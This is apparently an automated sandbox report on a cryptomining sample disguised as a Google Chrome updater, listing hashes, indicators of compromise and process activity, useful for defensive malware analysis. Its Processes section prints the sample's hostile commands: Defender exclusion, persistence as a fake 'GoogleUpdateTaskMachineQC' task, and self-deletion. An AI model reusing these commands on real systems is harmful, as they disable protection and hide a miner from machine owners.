Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1800s - max time network
1792s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
- Target grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
- Size 2.0MB
- Sample240123-x591qagbd7
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe 41 PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe 41 PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe 41 PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe 41 PID 2744 created 3580 2744 updater.exe 41 PID 2744 created 3580 2744 updater.exe 41 PID 2744 created 3580 2744 updater.exe 41 PID 2744 created 3580 2744 updater.exe 41 PID 3660 created 3580 3660 conhost.exe 41 PID 2744 created 3580 2744 updater.exe 41 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral24/memory/2108-129-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-133-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-134-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-136-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-140-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-142-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-144-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-146-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-148-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-150-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-152-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-154-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-156-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-158-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-160-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-162-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-164-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-166-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-168-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-170-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-172-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-174-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-176-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-178-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-180-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-182-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-184-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-186-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-188-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-190-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 2744 updater.exe -
resource yara_rule behavioral24/memory/2108-125-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-129-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-133-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-134-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-136-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-140-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-142-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-144-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-146-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-148-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-150-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-152-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-154-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-156-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-158-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-160-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-162-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-164-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-166-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-168-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-170-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-172-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-174-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-176-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-178-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-180-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-182-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-184-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-186-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-188-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-190-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2744 set thread context of 3660 2744 updater.exe 109 PID 2744 set thread context of 2108 2744 updater.exe 115 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2984 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 1504 powershell.exe 1504 powershell.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 2680 powershell.exe 2680 powershell.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 3200 powershell.exe 3200 powershell.exe 2744 updater.exe 2744 updater.exe 1952 powershell.exe 1952 powershell.exe 2744 updater.exe 2744 updater.exe 3024 powershell.exe 3024 powershell.exe 2744 updater.exe 2744 updater.exe 2744 updater.exe 2744 updater.exe 3660 conhost.exe 3660 conhost.exe 2744 updater.exe 2744 updater.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1504 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeIncreaseQuotaPrivilege 2680 powershell.exe Token: SeSecurityPrivilege 2680 powershell.exe Token: SeTakeOwnershipPrivilege 2680 powershell.exe Token: SeLoadDriverPrivilege 2680 powershell.exe Token: SeSystemProfilePrivilege 2680 powershell.exe Token: SeSystemtimePrivilege 2680 powershell.exe Token: SeProfSingleProcessPrivilege 2680 powershell.exe Token: SeIncBasePriorityPrivilege 2680 powershell.exe Token: SeCreatePagefilePrivilege 2680 powershell.exe Token: SeBackupPrivilege 2680 powershell.exe Token: SeRestorePrivilege 2680 powershell.exe Token: SeShutdownPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeSystemEnvironmentPrivilege 2680 powershell.exe Token: SeRemoteShutdownPrivilege 2680 powershell.exe Token: SeUndockPrivilege 2680 powershell.exe Token: SeManageVolumePrivilege 2680 powershell.exe Token: 33 2680 powershell.exe Token: 34 2680 powershell.exe Token: 35 2680 powershell.exe Token: 36 2680 powershell.exe Token: SeIncreaseQuotaPrivilege 2680 powershell.exe Token: SeSecurityPrivilege 2680 powershell.exe Token: SeTakeOwnershipPrivilege 2680 powershell.exe Token: SeLoadDriverPrivilege 2680 powershell.exe Token: SeSystemProfilePrivilege 2680 powershell.exe Token: SeSystemtimePrivilege 2680 powershell.exe Token: SeProfSingleProcessPrivilege 2680 powershell.exe Token: SeIncBasePriorityPrivilege 2680 powershell.exe Token: SeCreatePagefilePrivilege 2680 powershell.exe Token: SeBackupPrivilege 2680 powershell.exe Token: SeRestorePrivilege 2680 powershell.exe Token: SeShutdownPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeSystemEnvironmentPrivilege 2680 powershell.exe Token: SeRemoteShutdownPrivilege 2680 powershell.exe Token: SeUndockPrivilege 2680 powershell.exe Token: SeManageVolumePrivilege 2680 powershell.exe Token: 33 2680 powershell.exe Token: 34 2680 powershell.exe Token: 35 2680 powershell.exe Token: 36 2680 powershell.exe Token: SeIncreaseQuotaPrivilege 2680 powershell.exe Token: SeSecurityPrivilege 2680 powershell.exe Token: SeTakeOwnershipPrivilege 2680 powershell.exe Token: SeLoadDriverPrivilege 2680 powershell.exe Token: SeSystemProfilePrivilege 2680 powershell.exe Token: SeSystemtimePrivilege 2680 powershell.exe Token: SeProfSingleProcessPrivilege 2680 powershell.exe Token: SeIncBasePriorityPrivilege 2680 powershell.exe Token: SeCreatePagefilePrivilege 2680 powershell.exe Token: SeBackupPrivilege 2680 powershell.exe Token: SeRestorePrivilege 2680 powershell.exe Token: SeShutdownPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeSystemEnvironmentPrivilege 2680 powershell.exe Token: SeRemoteShutdownPrivilege 2680 powershell.exe Token: SeUndockPrivilege 2680 powershell.exe Token: SeManageVolumePrivilege 2680 powershell.exe Token: 33 2680 powershell.exe Token: 34 2680 powershell.exe Token: 35 2680 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1648 wrote to memory of 4484 1648 cmd.exe 101 PID 1648 wrote to memory of 4484 1648 cmd.exe 101 PID 3200 wrote to memory of 3668 3200 powershell.exe 102 PID 3200 wrote to memory of 3668 3200 powershell.exe 102 PID 2744 wrote to memory of 3660 2744 updater.exe 109 PID 1080 wrote to memory of 2984 1080 cmd.exe 114 PID 1080 wrote to memory of 2984 1080 cmd.exe 114 PID 2744 wrote to memory of 2108 2744 updater.exe 115 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3580
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2680
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3200 -
